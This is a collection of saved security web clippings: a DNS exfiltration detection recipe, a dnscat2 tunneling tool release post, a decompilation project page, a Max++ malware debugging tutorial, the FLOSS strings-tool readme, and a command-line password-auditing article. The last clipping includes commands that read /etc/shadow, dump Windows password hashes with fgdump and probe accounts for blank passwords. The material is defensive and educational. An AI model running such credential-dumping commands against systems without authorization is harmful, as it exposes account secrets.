to be analyzed in this recipe are “DNS”. “EAB” indicates that this recipe
detects elementary attack behaviors. “02” is a unique identifier for this
recipe to distinguish it from other DNS recipes. The recipe includes a number
of sections:

**Theory:** An unusual amount of entropy \(called “information content”\)
present in the subdomain field of DNS Query Requests can be an indication of
exfiltration of data over the DNS protocol.

_Please note that there are many ways to detect DNS data exfiltration, this
job uses just one such mechanism, and it has proven to be effective in real
enterprise environments. If your security team prefers a different, or
additional method\(s\), you can simply clone this job, modify it to your
preference, and run it\! Or run both of them to compare, or even combine,
results._

**Description:** This use case recipe identifies domains to which DNS query
requests containing unusually high values of “information content” are sent,
and IP addresses that generate these anomalous requests.

_It may not be obvious at first that detecting domains to which requests
contain an unusually amount of entropy in the subdomain portion of the field,
is the right thing to look for. But if we think of it from a data modeling
perspective, we need to identify the data feature that is likely to have
unusual characteristics over the course of the analysis. For this analysis,
the domain field in the DNS query log is the feature we want to model, and the
characteristic is the amount of information content contained its subdomain
field._

**Effectiveness:** This use case recipe is provided as a basic example of how
automated anomaly detection can be used to detect DNS data exfiltration. Other
recipes, based upon alternative or more complex approaches, may produce more
effective detection results.

_Reminder that this recipe is an example. By applying your team’s subject
matter expertise to this type of detection, you may be able to improve upon
its effectiveness._

**Use Case Type:** Elementary Attack Behavior \(EAB\) - This use case detects
anomalies associated with elementary attack behaviors. Each detected anomaly
is assigned a normalized Anomaly Score, and is annotated with values of other
fields in the data that have statistical influence on the anomaly. Elementary
attack behaviors that share common statistical Influencers are often related
to a common attack progression.

_Just a little context here, this recipe is not performing meta-analysis of
risk factors, but is rather detecting elementary attack behaviors that can be
correlated with other attack behaviors using X-Pack alerting to detect cyber
attack progressions._

**Use Case Data Source:** DNS query logs \(from client to DNS Server\)

_A reminder of what kind of data we’ll need for this recipe_

**Use Case Recipe:**

For: DNS query requests \(filtered for question types: A, AAAA, TXT\)

Model: Information content within the subdomain string

Detect: Unusually high amounts of information content

Compared to: Population of all \(highest registered\) domains in query results

Partition by: None

Exclude: domains that occur frequently in the analysis

Duration: Run analysis on DNS queries from period of 2 weeks or longer

Related recipes: Run this EAB use case by itself, or along with DNS-EAB01 DNS
DGA Activity

Results: Influencer hosts are likely sources of DNS Tunneling activity

 _Here’s where we pull the recipe together in plain language. This section
specifies which log messages we’ll pull data from, which features of the data
we’ll be modeling, what unusual behavior we’re trying to detect, in comparison
to what, whether or not we want to partition the analysis, whether or not we
want to exclude frequent values that might dominate the results, how much data
is required to produce a good result, which other jobs might be good to run
along with this one, and finally, how to look for and interpret the results of
the analysis._

**Additional configuration parameters:**

_These sections \(Example Elasticsearch Index Patterns, Example Elasticsearch
Query, and Machine Learning Analysis / Detector Config\)  provide the
technical configuration details to make sure the machine learning job works
like we intend it to. These details correspond directly to settings in the job
configuration view._

Once a machine learning job is configured with this recipe and started, X-Pack
machine learning features will begin indexing and analyzing DNS request logs
coming from client workstations, creating baselines of normal characteristics
of DNS requests sent from each client, and detecting when these
characteristics are anomalous.

As we mentioned above, detected anomalies are stored in an Elasticsearch
index, with a default name of ml-anomalies-\*, where they can be searched and
viewed in Kibana dashboards, explored in detail using the X-Pack machine
learning plugin, or used to generate an alert using X-Pack alerting features.

We’ve prepared a few short videos to let you see how X-Pack machine learning
features perform in action, but here’s a sample of what the X-Pack machine
learning Anomaly Explorer view looks like in V5.4 \(beta\) when viewing
results of a DNS Tunneling job.

<img src='img/Temp2_8775.png' width='848' height='320' alt='image3.png' />

## Conclusion

X-Pack machine learning is making machine learning technology accessible to
security analysts and engineers who have security-related log data living in
Elasticsearch. The basic element of X-Pack machine learning operation is the
anomaly detection job. Security analytics use case recipes describe how to
configure jobs to detect attack behaviors. Without any programming, you can
become the leader of your army of algorithmic assistants to help in detecting
threats and improving overall security coverage.

## Where to Learn More

  * Check out our Machine Learning Lab Videos: Video 1, Video 2, Video 3.
  * Check out more Machine Learning recipe examples for detecting attack behaviors.
  * Download a free trial of X-Pack and try it out.
  * Get a full product tour in the webinar. 

## Sign up for product updates\!

##### Be in the know with the latest and greatest from Elastic.

### Products >

  * Elasticsearch
  * Kibana
  * Beats
  * Logstash
  * X-Pack
  * Elastic Cloud
  * Security \(formerly Shield\)
  * Alerting \(via Watcher\)
  * Monitoring \(formerly Marvel\)
  * Graph
  * Reporting
  * Machine Learning
  * ES-Hadoop

### Resources

  * Blog
  * Cloud Status
  * Community
  * Customers & Use Cases
  * Documentation
  * Elastic\{ON\} Events
  * Forums
  * Meetups
  * Subscriptions
  * Support Portal
  * Videos & Webinars
  * Training

### About >

  * Careers/Jobs
  * Contact
  * Leadership
  * Partners
  * Press
  * Elastic Store

### Language

  * English
  * Français
  * Deutsch
  * 日本語
  * 한국어
  * 简体中文

FOLLOW US

  *   *   *   *   * 

  * Trademarks
  * /Terms of Use
  * /Privacy
  * /Cookie Policy
  * /Brand

<img src='img/Temp2_8773.png' width='104' height='36' />

© 2017. All Rights Reserved - Elasticsearch

Elasticsearch is a trademark of Elasticsearch BV, registered in the U.S. and
in other countries

Apache, Apache Lucene, Apache Hadoop, Hadoop, HDFS and the yellow elephant
logo are trademarks of the Apache Software Foundation in the United States
and/or other countries.

  

# dnscat2 beta release\! » SkullSecurity

**Created:**| _3/26/2015 4:50:33 PM_  
---|---  
**Updated:**| _3/29/2015 9:41:36 PM_  
**Author:**| __  
**Tags:**| _DNS_  
  

SkullSecurity

Adventures In Security

<img src='img/Temp2_10181.jpg' alt='SkullSecurity' />



« GitS 2015: Huffy \(huffman-encoded shellcode\)





  
  
  
  

# dnscat2 beta release\!

Leave a reply

As I promised during my 2014 Derbycon talk \(amongst other places\), this is
an initial release of my complete re-write/re-design of the dnscat service /
protocol. It's now a standalone tool instead of being bundled with nbtool,
among other changes. :\)

I'd love to have people testing it, and getting feedback is super important to
me\! Even if you don't try this version, hearing that you're excited for a
full release would be awesome. The more people excited for this, the more I'm
encouraged to work on it\! In case you don't know it, my email address is
listed below in a couple places.

## Where can I get it?

Here are some links:

  * Sourcecode on github \(HEAD sourcecode\)
  * Downloads \(you'll find signed Linux 32-bit, Linux 64-bit, Win32, and source code versions of the client, plus an archive of the server—keep in mind that that signature file is hosted on the same server as the files, so if you're worried, please verify :\) \)
  * User documentation
  * Protocol and command protocol documents \(as a user, you probably don't need these\)
  * Issue tracker \(you can also email me issues, just put my first name \(ron\) in front of my domain name \(skullsecurity.net\)\)

## Wait, what happened to dnscat1?

I designed dnscat1 to be similar to netcat; the client and server were the
same program, and you could tunnel both ways. That quickly became complex and
buggy and annoying to fix. It's had unresolved bugs for years\! I've been
promising a major upgrade for years, but I wanted it to be reasonably
stable/usable before I released anything\!

Since generic TCP/IP DNS tunnels have been done \(for example, by iodine\), I
decided to make dnscat2 a little different. I target penetration testers as
users, and made the server more of a command & control-style service. For
example, an old, old version of dnscat2 had the ability to proxy data through
the client and out the server. I decided to remove that code because I want
the server to be runnable on a trusted network.

Additionally, unlike dnscat1, dnscat2 uses a separate client and server. The
client is still low-level portable C code that should run anywhere \(tested on
32- and 64-bit Linux, Windows, FreeBSD, and OS X\). The server is now higher-
level Ruby code that requires Ruby and a few libraries \(I regularly use it on
Linux and Windows, but it should run anywhere that Ruby and the required gems
runs\). That means I can quickly and easily add functionality to the server
while implementing relatively simple clients.

## How can I help?

The goal of this release is primarily to find bugs in compilation, usage, and
documentation. Everything _should_ work on all 32- and 64-bit versions of
Linux, Windows, FreeBSD, and OS X. If you get it working on any other systems,
let me know so I can advertise it\!

I'd love to hear from anybody who successfully or unsuccessfully tried to get
things going. Anything from what you liked, what you didn't like, what was
intuitive, what was unintuitive, where the documentation was awesome, where
the documentation sucked, what you like about my face, what you hate about my
face—anything at all\! Seriously, if you get it working, email me—knowing that
people are using it is awesome and motivates me to do more. :\)

For feedback, my email address is my first name \(ron\) at my domain
\(skullsecurity.net\). If you find any bugs or have any feature requests, the
best place to go is my Issue tracker.

## What's the future hold?

I've spent a lot of time on stability and bugfixes recently, which means I
haven't been adding features. The two major features that I plan to add are:

  * TCP proxying - basically, creating a tunnel that exits through the client
  * Shellcode - a x86/x64 implementation of dnscat for Linux and/or Windows

Once again, I'd love feedback on which you think is more important, and if
you're excited to get shellcode, then which architecture/OS that I should
prioritize. :\)



# mewpaper/decompilation

**Created:**| _4/27/2015 9:57:36 AM_  
---|---  
**Updated:**| _4/27/2015 9:57:36 AM_  
**Author:**| __  
**Tags:**| _llvm intermediate languages_  
  

# Compositional Decompilation using LLVM IR

**NOTE** : The source code of this project has been released into the public
domain and is made available at github.com/decomp.

This paper was written for the Final Year Engineering Project at Portsmouth
University during the academic session 2014 - 2015.

##  Poster

The following poster summarises the project outcomes. It was created for a
student project conference which was held at Portsmouth University on the 18th
of March 2015.

<img src='img/Temp2_10453.png' alt='Poster: Compositional Decompilation' />

##  Artefacts

As part of this project, the following components were developed for the
decompilation pipeline \(all of which have been released into the public
domain\):

  * llvm \- Library for interacting with LLVM IR \(_work in progress_\)
  * ll2dot \- Control flow graph generation tool

> Generate control flow graphs from LLVM IR assembly files \(e.g. \*.ll ->
> \*.dot\)
  * graphs \- Subgraph isomorphism search algorithms and related tools
  * restructure \- Control flow analysis tool

> Recover control flow primitives from control flow graphs \(e.g. \*.dot ->
> \*.json\)
  * ll2go \- Go code generation tool \(_proof of concept_\)

> Decompile LLVM IR assembly files to Go source code \(e.g. \*.ll -> \*.go\)
  * go-post \- Go post-processing tool

> Post-process Go source code to make it more idiomatic
##  Report

A PDF version of the report has been hade available online
\(decompilation.pdf\).

###  Abstract

Decompilation or reverse compilation is the process of translating low-level
machine-readable code into high-level human-readable code. The problem is non-
trivial due to the amount of information lost during compilation, but it can
be divided into several smaller problems which may be solved independently.
This report explores the feasibility of composing a decompilation pipeline
from independent components, and the potential of exposing those components to
the end-user. The components of the decompilation pipeline are conceptually
grouped into three modules. Firstly, the front-end translates a source
language \(e.g. x86 assembly\) into LLVM IR; a platform-independent low-level
intermediate representation. Secondly, the middle-end structures the LLVM IR
by identifying high-level control flow primitives \(e.g. pre-test loops, 2-way
conditionals\). Lastly, the back-end translates the structured LLVM IR into a
high-level target programming language \(e.g. Go\). The control flow analysis
stage of the middle-end uses subgraph isomorphism search algorithms to locate
control flow primitives in CFGs, both of which are described using Graphviz
DOT files.

The decompilation pipeline has been proven capable of recovering nested pre-
test and post-test loops \(e.g. `while`, `do-while`\), and 1-way and 2-way
conditionals \(e.g. `if`, `if-else`\) from LLVM IR. Furthermore, the data-
driven design of the control flow analysis stage facilitates extensions to
identify new control flow primitives. There is huge potential for future
development. The Go output could be made more idiomatic by extending the post-
processing stage, using components such as Grind by Russ Cox which moves
variable declarations closer to their usage. The language-agnostic aspects of
the design will be validated by implementing components in other languages;
e.g. data flow analysis in Haskell. Additional back-ends \(e.g. Python
output\) will be implemented to verify that the general decompilation tasks
\(e.g. control flow analysis, data flow analysis\) are handled by the middle-
end.

###  Disposition

This report details every stage of the project from conceptualisation to
successful completion. It follows a logical structure and outlines the major
stages in chronological order. A brief summary of each section is presented in
the list below.

  * Section 1 - **Introduction**
    * _Introduces the concept of decompilation and its applications, outlines the project aim and objectives, and summarises its deliverables._
  * Section 2 - **Literature Review**
    * _Details the problem domain, reviews traditional decompilation techniques, and evaluates potential intermediate representations for the decompilation pipeline of the project._
  * Section 3 - **Related Work**
    * _Evaluates projects for translating native code to LLVM IR, and reviews the design of modern decompilers._
  * Section 4 - **Methodology**
    * _Surveys methodologies and best practices for software construction, and relates them to the specific problem domain._
  * Section 5 - **Requirements**
    * _Specifies and prioritises the requirements of the project artefacts._
  * Section 6 - **Design**
    * _Discusses the system architecture and the design of each component, motivates the choice of core algorithms and data structures, and highlights strengths and limitations of the design._
  * Section 7 - **Implementation**
    * _Discusses language considerations, describes the implementation process, and showcases how set-backs were dealt with._
  * Section 8 - **Verification**
    * _Describes the approaches taken to validate the correctness, performance and security of the artefacts._
  * Section 9 - **Evaluation**
    * _Assesses the outcome of the project and evaluates the artefacts against the requirements._
  * Section 10 - **Conclusion**
    * _Summarises the project outcomes, presents ideas for future work, reflects on personal development, and concludes with an attribution to the key idea of this project._

###  Table of Content

  1. Introduction 
    1. Project Aim and Objectives
    2. Deliverables
    3. Disposition
  2. Literature Review 
    1. The Anatomy of an Executable
    2. Decompilation Phases 
      1. Binary Analysis
      2. Disassembly
      3. Control Flow Analysis
    3. Evaluation of Intermediate Representations 
      1. LLVM IR
  3. Related Work 
    1. Native Code to LLVM IR 
      1. Dagger
      2. MC-Semantics
    2. Hex-Rays Decompiler
  4. Methodology 
    1. Operational Prototyping 
      1. Throwaway Prototyping
      2. Evolutionary Prototyping
    2. Continuous Integration
  5. Requirements 
    1. LLVM IR Library
    2. Control Flow Analysis Library
    3. Control Flow Analysis Tool
  6. Design 
    1. System Architecture
    2. Front-end Components 
      1. Native Code to LLVM IR
      2. Compilers
    3. Middle-end Components 
      1. Control Flow Graph Generation
      2. Control Flow Analysis
    4. Back-end Components 
      1. Post-processing
  7. Implementation 
    1. Language Considerations
    2. LLVM IR Library
    3. Go Bindings for LLVM
    4. Subgraph Isomorphism Search Library
    5. Documentation
  8. Verification 
    1. Test Cases 
      1. Code Coverage
    2. Performance 
      1. Profiling
      2. Benchmarks
    3. Security Assessment
    4. Continuous Integration 
      1. Source Code Formatting
      2. Coding Style
      3. Code Correctness
      4. Build Status
      5. Test Cases
      6. Code Coverage
  9. Evaluation 
    1. LLVM IR Library 
      1. Essential Requirements
      2. Desirable Requirements
    2. Control Flow Analysis Library 
      1. Essential Requirements
      2. Important Requirements
      3. Desirable Requirements
    3. Control Flow Analysis Tool 
      1. Essential Requirements
  10. Conclusion 
    1. Project Summary
    2. Future Work 
      1. Design Validation
      2. Reliability Improvements
      3. Extended Capabilities
    3. Personal Development
    4. Final Thoughts
  11. References
  12. Appendices 
    1. Project Initiation Document
    2. Certificate of Ethics Review
    3. Initial and Final Gantt Charts
    4. The REIL Instruction Set
    5. Patch for Unnamed Basic Blocks of LLVM
    6. Dagger Example
    7. MC-Semantics Example
    8. Clang Example
    9. Control Flow Graph Generation Example
    10. Control Flow Analysis Example
    11. Restructure Example
    12. Code Generation Example
    13. Post-processing Example
    14. Decompilation of Nested Primitives
    15. Decompilation of Post-test Loops

##  Public domain

This paper and any original content of this repository is hereby released into
the public domain.

# Dr. Fu's Security Blog: Malware Analysis Tutorial 13: Tracing DLL Entry
Point

**Created:**| _1/31/2012 7:27:01 PM_  
---|---  
**Updated:**| _1/31/2012 7:27:13 PM_  
**Author:**| __  
**Tags:**| _Debugging Malware-analysis Tutorials DLL tracing_  
  

### Malware Analysis Tutorial 13: Tracing DLL Entry Point

**Learning Goals** :  

  1. Understand C calling convention
  2. Practice reverse engineering

**Applicable to:**  

  1. Operating Systems
  2. Assembly Language

 _**1\. Introduction**_  
In Tutorial 11, we have shown you the trick played by Max++ to load its own
malicious executable using the "corpse" of another DLL called
"lz32.dll".Beginning from this tutorial, we will analyze the functionality of
the malicious DLL. In the following, we use "_**lz32.dll**_ " to refer to this
malicious code starting at _**0x003C24FB**_. \(In your VBox instance, this
entry address might vary. Check Tutorial 11 for how to find out the correct
entry address of lz32.dll\).  
  
Today, we will discuss some basic background information related to DLL entry
point and analyze the first part of lz32.dll \(it's not the real "lz32.dll",
but the malicious code of Max++ planted into it\).  
  
_**2\. Lab Configuration**_  
\(1\) clear all breakpoints and hardware breakpoints in IMM \(see _**View-
>Breakpoints**_ and _**View- >Hardware Breakpoints**_\).  
\(2\) Go to _**0x4012DC**_ and set a hardware breakpoint there. \(why not
software bp? Because that region will be self-extracted and overwritten and
the software BP will be lost\). Pay special attention that once you go to
0x4012DC, directly right click on the line to set hardware BP \(currently it's
gibberish code\).  
\(3\) Press _**SHIFT+F9**_ to run to _**0x4012DC**_. Figure 1 shows the code
that should be able to see. As you can see, this is right before the call of
RtlAddVectoredException, where hardware BP is set to break the LdrLoadDll call
\(see Tutorial 11 for details\). __**At this point, the code at 0x3C24FB has
not been extracted. If you go to 0x3C24FB at this moment, IMM will complain
that this address is not accessible.**__  
<img src='img/Temp2_2391.jpg' />  
---  
Figure 1: code at 0x4012DC  
\(4\) Now scroll down about 2 pages and set a _**SOFTWARE BREAKPOINT**_ at
_**0x401417**_. This is right after the call of LdrLoadDll\("lz32.dll"\),
where Max++ finishes the loading of lz32.dll.  
  
  
﻿  
<img src='img/Temp2_2392.jpg' />  
---  
Figure 2: code at 0x401407  
﻿  
\(6\) Now we will set a breakpoint at _**0x3C24FB**_. Follow the instructions
below:  
Press SHIFT+F9 several times, until you hit 0x7C90D500 \(this is somwhere
inside ntdll.zwMapViewSection which is being called by LdrLoadDll\). Goto
_**0x3C24FB**_ and set a _**SOFTWARE****BREAKPOINT**_ there. \(You will see a
warning which says your BP is out of the range. This is because the malware
author did not do a good job at resetting the binary PE information
\(executable code section size messed up - see Tutorial 12 for details\). It
should be fine, just click ok.  
  
\(7\) If you hit SHIFT+F9 \(probably twice\), you will hit 0x3C24FB. _**If you
hit 0x401417 directly, something wrong is with IMM \(strangely, I cannot
explain\). You have to RESTART \(Debug- >Restart\), and repeat steps \(1\) to
\(6\) \[yes, clear all BP and hardBPs\). **_The current sequence should be you
hit 0x7C90D500 twice, and then hit 0x3C24FB. This is because the LdrLoadDll
will try to call the entry point of the DLL.  
  
\(Figure 3 shows the code that you should be able to see. The first
instruction at 0x3C24FB should be _**CMP DWORD PTR SS:\[ESP+8\], -2**_. If you
execute several steps, you might notice that it soon returns, because the
value at \[ESP+8\] is 1.  
  
  
<img src='img/Temp2_2393.jpg' />  
---  
Figure 3: code at 0x3C24FB  
  
\(9\) Shift +F9 again, you will be hitting _**0x401417,**_ and then SHIFT+F9
again, you will be hitting 0x3C24FB again\! You might notice that now
\[ESP+8\] has value -2 and if you F7, you will trace into a lot of details of
the malicious logic.  
  
Up to this point, you are doing it right. If there is anything messed up,
__**you have to restore the snapshot because Max++ automatically removes its
binary executable from the disk drive**__ so that you will not be able to find
it again.  
  
  
_**2\. Background Information of DLL Entry**_  
  
DLLs, like .exe files, can have an entry point. This entry function will be
executed when the DLL is loaded by system calls such as LdrLoadDLL\(\). MSDN
has tons of excellent articles on it and you can read \[1\] for details. The
following sample declaration is from \[1\], an DLL entry function takes three
parameters, see below:  
  

BOOL WINAPI DllMain\(

HINSTANCE _**hinstDLL**_ , // handle to DLL module

DWORD _**fdwReason**_ , // reason for calling function

LPVOID _**lpReserved**_\) // reserved \{...\}

  
_**Challenge 1:**_ Note the code at 0x3C24FB \(Figure 3\) is checking the
value of \[ESP+8\]. Which parameter is stored at ESP+8?  
  
We are particularly interested in the fwdReason. Where is it defined? Reading
\[1\] you can find that there are some macros defined for fwdReason such as
DLL\_PROCESS\_ATTACH \(when a process first attaches the DLL\),
DLL\_THREAD\_ATTACH \(when the thread of a process has it attached\) etc.
\[1\] does not provide information on the real integer values of these macros,
but a simple google search of "\#define DLL\_PROCESS\_ATTACH" yields the
values \[_again\! do the google search in your VM. Many sites hosting MS
sources can be harmful\!_\]. These values range from 1 to 8. For example,
value 1 denotes DLL\_PROCESS\_ATTACH. This is the value of \[ESP+8\] when
0x3C24FB is hit the first time \(which is called by LdrLoadDLL\).  
  
_**3\. Analysis of Max++**_  
  
If you pay attention to the first couple of instructions at 0x3C24FB, one
natural question is:  
_**Challenge 2:**_ Why is the malware compare \[ESP+8\] with -2? What is the
motivation for doing this?  
  
The motivation is that, when it's a legal invocation \(e.g., placed by
LdrLoadDLL\), the code at 0x3C24FB will return immediately \(without doing any
harm\). Why? because, recall in Tutorial 12, Max++ cut in LoadLdrDll and
actually LoadLdrDll did not finish gracefully \(some kernel structure
information is not set up correctly\). These information has be be properly
set up, because the code can NOT call external functions \(e.g., those
provided by ntdll\). Max++ does have to set up all these information by
itself, and manually call the entry function at 0x3C24FB. Well, before calling
it, it sets up the second parameter \(fwdReason\) to -2 \(which is a value
that will NEVER be used by a normal call of DLL entry point\), so that the
code knows that it's the call from Max++.  
  
_**Last challenge of the day:**_  
_**Challenge 3:**_ Can you find out which instruction calls 0x3C24FB the
second time \(which provides -2 for fwdReason\)? \[hint: check out the stack
contents\] Look at how 0x3C24FB is called. Can a static analysis tool find out
that 0x3C24FB is called by the Max++ code?  
  
_**References**_  
1\. Microsoft, "Dynamic-Link Library Entry-Point Function",  
available at http://msdn.microsoft.com/en-
us/library/windows/desktop/ms682596\(v=vs.85\).aspx  
2.  

# fireeye/flare-floss

**Created:**| _5/8/2017 4:58:46 PM_  
---|---  
**Updated:**| _5/12/2017 1:13:46 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis Obfuscation_  
  

FireEye Labs Obfuscated String Solver

Rather than heavily protecting backdoors with hardcore packers, many malware
authors evade heuristic detections by obfuscating only key portions of an
executable. Often, these portions are strings and resources used to configure
domains, files, and other artifacts of an infection. These key features will
not show up as plaintext in output of the ` strings.exe ` utility that we
commonly use during basic static analysis.

The FireEye Labs Obfuscated String Solver \(FLOSS\) uses advanced static
analysis techniques to automatically deobfuscate strings from malware
binaries. You can use it just like ` strings.exe ` to enhance basic static
analysis of unknown binaries.

Please review the theory behind FLOSS here.

## Quick Run

To try FLOSS right away, download a standalone executable file from the
releases page: https://github.com/fireeye/flare-floss/releases

For a detailed description of _installing_ FLOSS, review the documention here.

Standalone nightly builds:

  * Windows 64bit: here
  * Windows 32bit: here
  * Linux: here
  * OSX: here

## Usage

Extract obfuscated strings from a malware binary:

[code]

    $ floss /path/to/malware/binary
    
[/code]

Display the help/usage screen to see all available switches.

[code]

    $ ./floss -h
    
[/code]

For a detailed description of _using_ FLOSS, review the documention here.

For a detailed description of _testing_ FLOSS, review the documention here.

## Sample Output

[code]

    $ floss malware.bin
    FLOSS static ASCII strings
    !This program cannot be run in DOS mode.
    _YY
    RichYY
    MdfQ
    .text
    `.rdata
    @.data
    .idata
    .didat
    .reloc
    U  F
    ?;}
    A@;E
    _^[
    HttHt-H
    '9U
    WS2_32.dll
    FreeLibrary
    GetProcAddress
    LoadLibraryA
    GetModuleHandleA
    GetVersionExA
    MultiByteToWideChar
    WideCharToMultiByte
    Sleep
    GetLastError
    DeleteFileA
    WriteFile
    [..snip...]
    
    FLOSS static UTF-16 strings
    ,%d
    
    FLOSS decoded 4 strings
    WinSta0\Default
    Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings
    ProxyEnable
    ProxyServer
    
    FLOSS extracted 81 stack strings
    WinSta0\Default
    '%s' executed.
    ERR '%s' error[%d].
    Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings
    ProxyEnable
    ProxyServer
    wininet.dll
    InternetOpenA
    0\A4
    InternetSetOptionA
    InternetConnectA
    InternetQueryOptionA
    Mozilla/4.0 (compatible; MSIE 7.0; Win32)
    -ERR
    FILE(%s) wrote(%d).
    Invalid ojbect.
    SetFilepoint error[%d].
    b64_ntop error[%d].
    GetFileSize error[%d].
    Creates file error[%d].
    KCeID5Y/96QTJc1pzi0ZhEBqVG83OnXaL+oxsRdymHS4bFgl7UrWfP2v=wtjNukM
    [..snip...]
    
[/code]

  

# Command Line Kung Fu: Episode \#34: Suspicious Password Entries

**Created:**| _5/16/2009 10:26:10 AM_  
---|---  
**Updated:**| _5/16/2009 10:26:21 AM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#34: Suspicious Password Entries

Hal Says:  
  
Older, proprietary Unix systems tend to include the "logins" command, which is
a handy little command for searching your passwd and shadow files for
different sorts of information. In particular, "logins -p" \(find accounts
with null passwords\) and "logins -d" \(find accounts with duplicate UIDs\)
are useful when auditing a large user database. Unfortunately, the "logins"
command doesn't exist in Linux. But of course you can emulate some of its
functionality using other command-line primitives.  
  
Finding accounts with null passwords is just a simple awk expression:  
  

[code]

    # **awk -F: '($2 == "") {print $1}' /etc/shadow**
    
[/code]

  
We use "-F:" to tell awk to split on the colon delimiters in the file and then
look for entries where the password hash in the second field is empty. When we
get a match, we print the username in the first field.  
  
Finding duplicate UIDs is a little more complicated:  
  

[code]

    # **cut -f3 -d: /etc/passwd | sort -n | uniq -c | awk '!/ 1 / {print $2}'**
    
[/code]

  
Here we're using "cut" to pull the UIDs out of the third field of /etc/passwd,
then passing them into "sort -n" to put them in numeric order. "uniq -c"
counts the number of occurrences of each UID, creating one line of output for
each UID with the count in the first column. Our awk expression looks for
lines where this count is not 1 and prints the UID from each matching line.  
  
Another useful password auditing command is to look for all accounts with UID
0. Normally there should only be a single UID 0 account in your password file
\("root"\), but sometimes you'll see attackers hiding UID 0 accounts in the
middle of the password file. The following awk snippet will display the
usernames of all UID 0 accounts:  
  

[code]

    # **awk -F: '($3 == 0) {print $1}' /etc/passwd**
    
[/code]

  
More generally, you can use the "sort" command to sort the entire password
file numerically by UID:  
  

[code]

    # **sort -t: -k3 -n /etc/passwd**  
     root:x:0:0:root:/root:/bin/bash  
    daemon:x:1:1:daemon:/usr/sbin:/bin/sh  
    bin:x:2:2:bin:/bin:/bin/sh  
    ...
    
[/code]

  
"-t" is used to specify the column delimiter, "-k" specifies which column\(s\)
to sort on, and "-n" means do a numeric \(as opposed to alphabetic\) sort. The
advantage to viewing the password file this way is that all the UID 0 accounts
bubble right up to the top of the output, plus it's easier to spot accounts
with duplicate UIDs this way.  
  
Ed responds:  
  
OK, sports fans... Hal really threw down the gauntlet here. Brace yourselves,
because this is gonna get ugly. You've been warned.  
  
Unlike Linux with its /etc/passwd and /etc/shadow files, Windows doesn't make
it easy to access user account password hashes. Thus, it's much harder for us
to determine if a password is blank... but we do have some options.  
  
For starters, we could blatantly violate our ground rules here and use third-
party tools. One option that pops into mind is fgdump, my favorite tool for
dumping Windows hashes. We could run:  
  

[code]

    C:\> fgdump -c & find "NO PASSWORD" 127.0.0.1.pwdump & del 127.0.0.1.pwdump
[/code]

  
  
This command invokes fgdump, which runs against localhost by default, with the
-c option to turn off the dumping of cached credentials, making it give us
only the local SAM database. Unfortunately, fgdump doesn't have the option of
displaying the hashes on standard output, but instead stores its results in a
file called \[IPaddr\].pwdump. So, we then run the find command to look for
output that contains the words "NO PASSWORD" in this file, and then delete the
file.  
  
Now, keep in mind that if a given user has a password that is 15 or more
characters in length, that user will authenticate using only the NT Hash, and
Windows will set the LANMAN to a value of a hash of padding, that old
AAD3B4... stuff. In its output for such accounts, fgdump will display "NO
PASSWORD" for the LANMAN hash of such accounts, even though they do have an NT
hash with an NT password. Thus, to avoid false positives with accounts that
have passwords greater than 14 characters, we should tweak our command to:  
  

[code]

    C:\> fgdump -c & find "NO PASSWORD*********************:NO PASSWORD" 127.0.0.1.pwdump  
    & del 127.0.0.1.pwdump   
[/code]

  
Easy.  
  
Yeah, it's easy, if you throw away our treasured rule of using only built-in
tools.  
  
But, there's another way, which violates a completely different ground rule
we've got around here. Instead of using a third-party tool, we could rely on
built-in functionality via a Visual Basic Script. There's a great script from
the awesome Scripting Guys, available here, which attempts to change each
user's password from blank to blank. If it is successful, you've got a user
with a blank password. Nice and easy\!  
  
But, this one also throws another precious ground rule under the bus. That is,
we aren't supposed to be using scripts, but instead we rely on single \(albeit
at times complex\) commands.  
  
For a third option, why don't we try to mimic the operation of this VB script
at the cmd.exe command line? We could change a user password to blank by
running:  
  

[code]

    C:\> net user [user] ""
[/code]

  
  
This command tells the system to change the password of \[user\] to blank. If
the password policy allows such passwords, it will succeed. Ummm... that's no
good for us, because it succeeds regardless of the current user's password.
So, this command violates a third coveted rule around here: Commands have to
actually work.  
  
Oooookay then. Is there a fourth option? Turns out there is, but it gets
pretty ugly. The basis of this command is to rely on "net use" to make an SMB
connection locally, thusly:  
  

[code]

    C:\> net use \\[hostname] "" /u:[user]
    
[/code]

  
  
If the guest account is disabled, and you otherwise have a default security
policy, the system displays the following text if \[user\] has a blank
password:  
  

[code]

    System error 1327 has occurred.  
      
    Logon failure: user account restriction.  
    Possible reasons are blank passwords not allowed, logon hour restrictions,  
    or a policy restriction has been enforced.
    
[/code]

  
Note that first possible reason -- blank passwords.  
  
Also, note that this same message comes up if there are policies defined that
restrict the account from logging on during certain times of day or other
policy restrictions. But, still, in most environments, this is an indication
that the password is blank. Not perfect, but good enough for most cases.  
  
Building on this, here ya go, a "single" command that checks to see if local
accounts have blank passwords, without using any third-party tools or scripts:  
  

[code]

    C:\> FOR /F "tokens=2 skip=1" %i in ('wmic useraccount list brief') do @echo.  
    & echo Checking %i & net use \\[hostname] "" /u:%i 2>&1 | find /i "blank" >nul  
    && echo %i MAY HAVE A BLANK PASSWORD & net use * /del /y > nul
[/code]

  
Wow\! There's a mess, huh? Here's what I'm doing...  
  
I'm setting up a FOR /F loop to iterate on the output of the command 'wmic
useraccount list brief', which will show all of the locally defined accounts
on the box. I'm parsing the output of that command by skipping the first line
\(which is column headers\) and setting the value of my iterator variable to
the second item in each line \(the first is the Account Type, the second is
the SYSTEM\username\).  
  
I'm then echoing a blank line to our output \(echo.\) to make things prettier
followed by displaying a message that I'm checking a given account \(echo
Checking %i\). Then, I try to make an SMB connection to our local hostname
\(you really should put in your own system's hostname... using \\\127.0.0.1
isn't reliable on every version of Windows\). The attempted SMB connection has
a password of blank \(""\) and a user name of our current iterator variable
\(/u:%i\).  
  
Now, if the account has a blank password, I'll get an error message that says:
"Logon failure: user account restrictions. Possible reasons are blank
passwords...". Remember that if you have any of those other restrictions
defined on the box, our little one-liner will give you false positives.  
  
Then, I take our error message and dump it into a replicated copy of our
standard output \(2>&1\) so that I can scrape through what was Standard Error
with the find command to look for the word "blank". I dump the output of that
to nul so we don't see it's ugliness. Then, if the find command is successful
\(&&\), I print out a message saying that %i MAY HAVE A BLANK PASSWORD. Note
the weasel word "MAY". That's because there may be other account restrictions
applied to the account or system.  
  
Finally, I drop any residual SMB connections we've made \(net use \* /del
/y\), dumping its output to nul.  
  
Whew\! I tried several other methods for doing this at the command line, but
